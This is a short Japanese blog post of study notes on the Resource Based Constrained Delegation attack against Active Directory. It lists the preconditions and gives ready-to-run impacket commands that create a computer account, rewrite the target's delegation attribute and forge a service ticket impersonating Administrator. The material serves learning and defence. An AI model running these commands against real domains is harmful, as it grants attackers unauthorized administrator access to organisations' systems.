見出し画像

#132 Resource Based Constrained Delegation

 そろそろ、なんとなくでやってきたことにさよならしたいとおもいます。Active Directoryに対する攻撃について、知識を先鋭化します。

RBCD

 Resource Based Constrained Delegation(RBCD)は、Active Directoryの設定の不備をついた攻撃方法で、権限昇格などに悪用されることがあります。Delegation系の攻撃にはUnconstrained Delegation、Constrained Delegationもありますが、一番ややこしいのがコイツです。
 一言で説明するならば、

攻撃対象の設定を書き換えて、自分の管理するマシンから任意のユーザーでアクセスできるようにする

という感じでしょうか。攻撃が成功すれば、管理者権限でのアクセスができます。

成立条件

  • SPNつきのアカウントを保持している(ドメインユーザーなら自分で作れる)

  • 攻撃対象のmsDS-AllowedToActOnBehalfOfOtherIdentity属性への書き込み権限がある

攻撃手順

1. 新規のコンピューターアカウントを作る。(すでにSPNつきのアカウントを保持している場合は不要。)

impacket-addcomputer -computer-name 'evil$' -computer-pass P@ssword -dc-ip 10.10.10.10 domain.local/writepriv_user:password

2. msDS-AllowedToActOnBehalfOfOtherIdentity属性を書き換える。

impacket-rbcd -f evil -t WEB -dc-ip 10.10.10.10 domain\\writepriv_user:password

3. 任意のアカウントでサービスチケットを発行する。

impacket-getST -spn cifs/WEB.domain.local -impersonate Administrator -dc-ip 10.10.10.10 domain.local/EVIL$:P@ssword

出力されたサービスチケットは、ticket.ccacheなどと名前をつけて、環境変数に指定します。

export KRB5CCNAME=`pwd`/ticket.ccache

4. 取得したサービスチケットを使って、攻撃対象にアクセスする。


まとめ

 WindowsのActive Directoryは、高機能で企業ネットワークでも広く使われていますが、ちょっとした設定ミスで攻撃にさらされる危険も秘めています。特に、Kerberosまわりは難しい… 攻撃者の視点で見ても、Active Directoryに対する深い理解がなければ侵害はできません。さあ、頑張ります。

※悪いことしようとしてるわけではありません。

EOF





この記事が気に入ったらサポートをしてみませんか?